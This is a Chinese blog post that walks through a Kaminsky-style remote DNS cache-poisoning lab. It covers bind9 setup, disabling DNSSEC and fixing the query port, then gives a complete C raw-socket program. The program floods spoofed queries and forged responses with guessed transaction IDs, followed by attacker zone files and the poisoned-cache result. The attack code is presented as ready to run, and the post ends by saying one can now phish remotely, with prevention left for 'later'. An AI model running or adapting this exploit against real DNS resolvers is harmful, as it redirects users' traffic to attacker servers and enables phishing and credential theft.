美文网首页dns相关黑客往事
网络安全-远程DNS攻击

网络安全-远程DNS攻击

作者: ustc_sec | 来源:发表于2018-06-01 21:56 被阅读0次

    钓鱼网站远程DNS攻击

    • 远程DNS攻击
    攻击者:192.168.59.129
    普通用户:192.168.59.146
    DNS服务器:192.168.59.153
    
    

    攻击环境配置

    DNS服务器环境配置

    1. 安装bind9
    2. /etc/bind/named.conf.option文件中添加dump-file "/var/cache/bind/dump.db"
    3. 移除上个实验中的example.comZone信息 在/etc/bind/named.conf.default-zones文件中
    4. 启动DNS服务器 service bind9 start

    普通用户环境配置

    1. 禁用DHCP "Edit Connections" -> "Wired connection1" -> "Edit" -> "IPv4 setting" -> "DHCP only" -> "192.168.59.153"
    2. 重启一下网络
    3. /etc/resolv.conf文件中修改nameserver 192.168.59.153

    远程DNS Cache中毒

    Kaminsky攻击
    远程DNS攻击原理如图所示:

    远程DNS攻击原理

    如何让DNS服务器Cache中毒?
    1. TTL约束:域名不能在DNS Cache中存在
    2. Guess约束: transaction id必须一致
    3. Windows Time约束:伪造包要比真正的DNS服务器返回的包快
    解决方案:
    1. 构造虚假域名
    2. 伪造大量的应答报文 transaction id 16bits
    3. 拼速度 我们肯定赢

    攻击环境配置

    1. 配置攻击者环境 同普通用户环境配置
    2. 设置DNS服务器源端口 在/etc/bind/named.conf.option文件中添加query-source port 33333;
    3. 设置DNSSEC 在/etc/bind/named.conf.option文件中修改dnssec-enable no;
    4. 刷新Cacherndc flush 重启DNS服务器service bind9 restart

    伪造DNS请求应答报文

    1.直接运行 不要修改程序任何代码

    2.后文提供 bug解决方案

    3.第一个参数是普通用户的IP地址!!!

    4.第二个参数是DNS服务器的IP地址!!!

    参考代码有的地方描述不当 甚至是误导 我把注释都删掉了

    // 
    // by ailx10 黑客笔记(http://hackbiji.top/) 
    //
    // 参考代码:https://github.com/zengxyu/Remote-DNS-Attack
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <fcntl.h>
    #include <string.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <libnet.h>
    #define PCKT_LEN 8192
    #define FLAG_R 0x8400
    #define FLAG_Q 0x0100
    
    struct ipheader
    {
        unsigned char      iph_ihl: 4, iph_ver: 4;
        unsigned char      iph_tos;
        unsigned short int iph_len;
        unsigned short int iph_ident;
        unsigned short int iph_offset;
        unsigned char      iph_ttl;
        unsigned char      iph_protocol;
        unsigned short int iph_chksum;
        unsigned int       iph_sourceip;
        unsigned int       iph_destip;
    
    };
    
    struct udpheader
    {
        unsigned short int udph_srcport;
        unsigned short int udph_destport;
        unsigned short int udph_len;
        unsigned short int udph_chksum;
    };
    struct dnsheader
    {
        unsigned short int query_id;
        unsigned short int flags;
        unsigned short int QDCOUNT;
        unsigned short int ANCOUNT;
        unsigned short int NSCOUNT;
        unsigned short int ARCOUNT;
    };
    
    struct dataEnd
    {
        unsigned short int  type;
        unsigned short int  class;
    };
    
    struct ansEnd
    {
        unsigned short int type;
        unsigned short int class;
        unsigned short int ttl_l;
        unsigned short int ttl_h;
        unsigned short int datalen;
    };
    
    struct nsEnd
    {
        unsigned short int type;
        unsigned short int class;
        unsigned short int ttl_l;
        unsigned short int ttl_h;
        unsigned short int datalen;
    };
    
    unsigned int checksum(uint16_t *usBuff, int isize)
    {
        unsigned int cksum = 0;
        for(; isize > 1; isize -= 2)
        {
            cksum += *usBuff++;
        }
        if(isize == 1)
        {
            cksum += *(uint16_t *)usBuff;
        }
    
        return (cksum);
    }
    
    uint16_t check_udp_sum(uint8_t *buffer, int len)
    {
        unsigned long sum = 0;
        struct ipheader *tempI = (struct ipheader *)(buffer);
        struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
        struct dnsheader *tempD = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
        tempH->udph_chksum = 0;
        sum = checksum( (uint16_t *)   & (tempI->iph_sourceip) , 8 );
        sum += checksum((uint16_t *) tempH, len);
    
        sum += ntohs(IPPROTO_UDP + len);
    
        sum = (sum >> 16) + (sum & 0x0000ffff);
        sum += (sum >> 16);
    
        return (uint16_t)(~sum);
    
    }
    
    unsigned short csum(unsigned short *buf, int nwords)
    {
        unsigned long sum;
        for(sum = 0; nwords > 0; nwords--)
            sum += *buf++;
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return (unsigned short)(~sum);
    }
    
    int response(char *request_url, char *src_addr, char *dest_addr)
    {
        int sd;
        char buffer[PCKT_LEN];
        memset(buffer, 0, PCKT_LEN);
        struct ipheader *ip = (struct ipheader *) buffer;
        struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
        struct dnsheader *dns = (struct dnsheader *) (buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
        char *data = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader));
    
        dns->flags = htons(FLAG_R);
        dns->QDCOUNT = htons(1);
        dns->ANCOUNT = htons(1);
        dns->NSCOUNT = htons(1);
        dns->ARCOUNT = htons(1);
    
        strcpy(data, request_url);
        int length = strlen(data) + 1;
    
        struct dataEnd *end = (struct dataEnd *)(data + length);
        end->type = htons(1);
        end->class = htons(1);
        char *ans = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length);
    
        strcpy(ans, request_url);
        int anslength = strlen(ans) + 1;
    
        struct ansEnd *ansend = (struct ansEnd *)(ans + anslength);
        ansend->type = htons(1);
        ansend->class = htons(1);
        ansend->ttl_l = htons(0x00);
        ansend->ttl_h = htons(0xD0);
        ansend->datalen = htons(4);
    
        char *ansaddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength);
    
        strcpy(ansaddr, "\1\1\1\1");
        int addrlen = strlen(ansaddr);
    
        char *ns = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen);
        strcpy(ns, "\7example\3com");
        int nslength = strlen(ns) + 1;
    
        struct nsEnd *nsend = (struct nsEnd *)(ns + nslength);
        nsend->type = htons(2);
        nsend->class = htons(1);
        nsend->ttl_l = htons(0x00);
        nsend->ttl_h = htons(0xD0);
        nsend->datalen = htons(23);
    
        char *nsname = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength);
    
        strcpy(nsname, "\2ns\16dnslabattacker\3net");
        int nsnamelen = strlen(nsname) + 1;
    
        char *ar = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen);
        strcpy(ar, "\2ns\16dnslabattacker\3net");
        int arlength = strlen(ar) + 1;
        struct ansEnd *arend = (struct ansEnd *)(ar + arlength);
        arend->type = htons(1);
        arend->class = htons(1);
        arend->ttl_l = htons(0x00);
        arend->ttl_h = htons(0xD0);
        arend->datalen = htons(4);
        char *araddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen + arlength + sizeof(struct ansEnd));
    
        strcpy(araddr, "\1\1\1\1");
        int araddrlen = strlen(araddr);
    
        struct sockaddr_in sin, din;
        int one = 1;
        const int *val = &one;
        sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
        if(sd < 0 )
            printf("socket error\n");
    
        sin.sin_family = AF_INET;
        din.sin_family = AF_INET;
        sin.sin_port = htons(33333);
        din.sin_port = htons(53);
        sin.sin_addr.s_addr = inet_addr(src_addr);
        din.sin_addr.s_addr = inet_addr("199.43.135.53");
    
        ip->iph_ihl = 5;
        ip->iph_ver = 4;
        ip->iph_tos = 0; 
    
        unsigned short int packetLength = (sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd) + anslength + sizeof( struct ansEnd) + nslength + sizeof(struct nsEnd) + addrlen + nsnamelen + arlength + sizeof(struct ansEnd) + araddrlen); 
    
        ip->iph_len = htons(packetLength);
        ip->iph_ident = htons(rand()); 
        ip->iph_ttl = 110; 
        ip->iph_protocol = 17; // UDP
    
        ip->iph_sourceip = inet_addr("199.43.135.53");
        ip->iph_destip = inet_addr(src_addr);
        udp->udph_srcport = htons(53); 
        udp->udph_destport = htons(33333);
    
        udp->udph_len = htons(sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd) + anslength + sizeof( struct ansEnd) + nslength + sizeof(struct nsEnd) + addrlen + nsnamelen + arlength + sizeof(struct ansEnd) + araddrlen);
    
        ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
        udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
    
        if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0 )
        {
            printf("error\n");
            exit(-1);
        }
    
        int count = 0;
        int trans_id = 3000;
        while(count < 100)
        {
            dns->query_id = trans_id + count;
            udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
            if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
                printf("packet send error %d which means %s\n", errno, strerror(errno));
            count++;
        }
        close(sd);
        return 0;
    
    }
    
    int main(int argc, char *argv[])
    {
        if(argc != 3)
        {
            printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first to last:src_IP  dest_IP  \n");
            exit(-1);
        }
        int sd;
        char buffer[PCKT_LEN];
        memset(buffer, 0, PCKT_LEN);
        struct ipheader *ip = (struct ipheader *) buffer;
        struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
        struct dnsheader *dns = (struct dnsheader *) (buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
        char *data = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader));
    
        dns->flags = htons(FLAG_Q);
        dns->QDCOUNT = htons(1);
        strcpy(data, "\5abcde\7example\3com");
        int length = strlen(data) + 1;
    
        struct dataEnd *end = (struct dataEnd *)(data + length);
        end->type = htons(1);
        end->class = htons(1);
    
        struct sockaddr_in sin, din;
        int one = 1;
        const int *val = &one;
        dns->query_id = rand();
    
        sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
        if(sd < 0 )
            printf("socket error\n");
    
        sin.sin_family = AF_INET;
        din.sin_family = AF_INET;
        sin.sin_port = htons(33333);
        din.sin_port = htons(53);
    
        sin.sin_addr.s_addr = inet_addr(argv[2]);
        din.sin_addr.s_addr = inet_addr(argv[1]);
        ip->iph_ihl = 5;
        ip->iph_ver = 4;
        ip->iph_tos = 0; 
    
        unsigned short int packetLength = (sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd)); 
    
        ip->iph_len = htons(packetLength);
        ip->iph_ident = htons(rand()); 
        ip->iph_ttl = 110;
        ip->iph_protocol = 17;
        ip->iph_sourceip = inet_addr(argv[1]);
        ip->iph_destip = inet_addr(argv[2]);
    
        udp->udph_srcport = htons(33333);
        udp->udph_destport = htons(53);
        udp->udph_len = htons(sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd));
        ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
        udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
    
        if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0 )
        {
            printf("error\n");
            exit(-1);
        }
        while(1)
        {
            int charnumber;
            charnumber = 1 + rand() % 5;
            *(data + charnumber) += 1;
            udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
            if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
                printf("packet send error %d which means %s\n", errno, strerror(errno));
            sleep(0.01);
            response(data, argv[2], argv[1]);
        }
        close(sd);
        return 0;
    }
    
    

    BUG1解决方案:

    root@gt:~/Desktop# gcc -lpcap dns.c -o dns
    dns.c:26:10: fatal error: libnet.h: No such file or directory
     #include <libnet.h>
              ^~~~~~~~~~
    compilation terminated.
    root@gt:~/Desktop# apt-get install libnet1-dev
    
    

    BUG2解决方案:

    root@gt:~/Desktop# gcc -lpcap dns.c -o dns
    /usr/bin/ld: cannot find -lpcap
    collect2: error: ld returned 1 exit status
    root@gt:~/Desktop# apt-get install libpcap-dev
    
    

    注意:
    第一个参数是普通用户的IP地址!!!
    第二个参数是DNS服务器的IP地址!!!
    hacker@ubuntu:~/Desktop$ sudo ./udp 192.168.59.146 192.168.59.154

    验证实验结果

    验证实验结果

    由于ns.dnslabattacker.net.是假的!无法提供DNS应答!
    所以,在本次实验中,我们需要在攻击者的电脑上搭建DNS服务器来模拟ns.dnslabattacker.net.!

    配置如下:
    DNS服务器环境配置:
    1.在/etc/bind/name.conf.default-zones添加:

    zone "ns.dnslabattacker.net" {
        type master;
        file "/etc/bind/db.attacker";
    };
    
    

    2.创建文件/etc/bind/db.attacker 内容如下:

    ;
    ; BIND data file for local loopback interface
    ;
    $TTL   604800
    @   IN  SOA localhost. root.localhost. (
                      2     ; Serial
                 604800     ; Refresh
                  86400     ; Retry
                2419200     ; Expire
                 604800 )   ; Negative Cache TTL
    ;
    @   IN  NS  ns.dnslabattacker.net.
    @   IN  A   192.168.59.129
    @   IN  AAAA    ::1
    
    

    攻击者环境配置:
    1.在/etc/bind/named.conf.default-zones文件中添加:

    zone "example.com" {
        type master;
        file "/etc/bind/example.com.db";
    };
    
    

    2.创建文件/etc/bind/example.com.db 内容如下:

    $TTL 3D
    @   IN  SOA ns.example.com. admin.example.com. (
            2008111001
            8H
            2H
            4W
            1D)
    
    @   IN  NS  ns.dnslabattacker.net.
    @   IN  MX  10 mail.example.com.
    
    www IN  A   1.1.1.1
    mail    IN  A   1.1.1.2
    *.example.com.  IN  A 1.1.1.100
    
    

    重启DNS服务器bind9 重启攻击者bind9
    sudo service bind9 restart

    sudo rndc flush
    sudo rndc dumpdb -cache
    cat /var/cache/bind/dump.db | grep example.com
    
    

    运行攻击程序 结果如图所示

    运行攻击程序

    可以看到

    www.example.com.    259200  IN  A   1.1.1.1
    
    

    说明咱们成功的域名的IP地址修改了 之后就可以放心的超远程钓鱼了!

    如何预防远程DNS攻击?
    以后再说~

    相关文章

      网友评论

        本文标题:网络安全-远程DNS攻击

        本文链接:https://www.haomeiwen.com/subject/mgflsftx.html